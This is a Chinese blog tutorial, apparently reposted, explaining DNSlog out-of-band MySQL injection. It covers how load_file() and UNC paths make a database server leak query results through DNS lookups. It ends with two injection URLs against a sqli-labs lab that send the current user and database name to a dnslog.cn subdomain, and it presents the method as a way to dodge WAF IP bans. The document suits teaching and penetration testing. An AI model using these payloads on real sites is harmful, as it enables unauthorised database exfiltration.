核心:
将盲注转换为显错注入
原理:
通常我们面对SQL注入过程中没有回显的情况下,只能通过盲注的方式来判断是否存在SQL注入,但是,使用盲注,手工测试是需要花费大量的时间的,可能会想到使用sqlmap直接去跑出数据,但在实际测试中,使用sqlmap跑盲注,有很大的几率,网站把ip给封掉,这就影响了我们的测试进度,也许你也可以使用代理池
我们输入域名之后 我们的本地域名服务器会把在自身服务器里面查询是否存在ip地址 如果没有则发送到根域名服务器 如果根域名服务器里面有对应的记录则返回 如果没有则告诉本地域名服务器去向顶级域名服务器查找。
dns在解析的时候会留下记录。
当dns服务器是我们自己的时,我们就可以通过查看日志来查询一些信息
什么是UNC?
UNC路径就是类似\softer这样的形式的网络路径。它符合 \servername\sharename 格式,其中 servername 是服务器名,sharename 是共享资源的名称。
注入所需条件?
首先说明,dns带外查询属于MySQL注入,在MySQL中有个系统属性
secure_file_priv特性,有三种状态:
secure_file_priv为null 表示不允许导入导出 secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹 secure_file_priv没有设置时,则表示没有任何限制 可了解一下load_file和outfile
LOAD_FILE()函数:LOAD_FILE()函数读取一个文件并将其内容作为字符串返回
语法为:load_file(file_name),其中file_name是文件的完整路径
不管是布尔类型盲注还是时间盲注,都需要发送大量的数据包去判断数据,而这很可能会触发WAF的防护,因此导致被封IP。所以,如果条件允许,我们可以结合DNSlog来快速的回显数据。MySQL数据库,通过DNSlog盲注需要用到 load_file() 函数,该函数不仅能加载本地文件,同时也能对URL发起请求。因为需要使用 load_file() 函数,所以需要root权限,并且 secure_file_priv 需要为空。并且服务器要为Windows操作系统。
注入语句:
# 查询当前用户名 http://192.168.157.129/sql-labs/Less-1/?id=1' and (select load_file(concat('\\\\',(select hex(user())),'.682y4b.dnslog.cn/abc'))) --+ # 查看当前数据库名 http://192.168.157.129/sql-labs/Less-1/?id=1' and (select load_file(concat('\\\\',(select database()),'.682y4b.dnslog.cn/abc'))) --+
原文链接:https://blog.csdn.net/qq_39416206/article/details/123851227?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522169114665816800227463769%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=169114665816800227463769&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~times_rank-8-123851227-null-null.268%5Ev1%5Ekoosearch&utm_term=dns%E9%98%B2%E6%8A%A4
原创文章,作者:优速盾-小U,如若转载,请注明出处:https://www.cdnb.net/bbs/archives/22819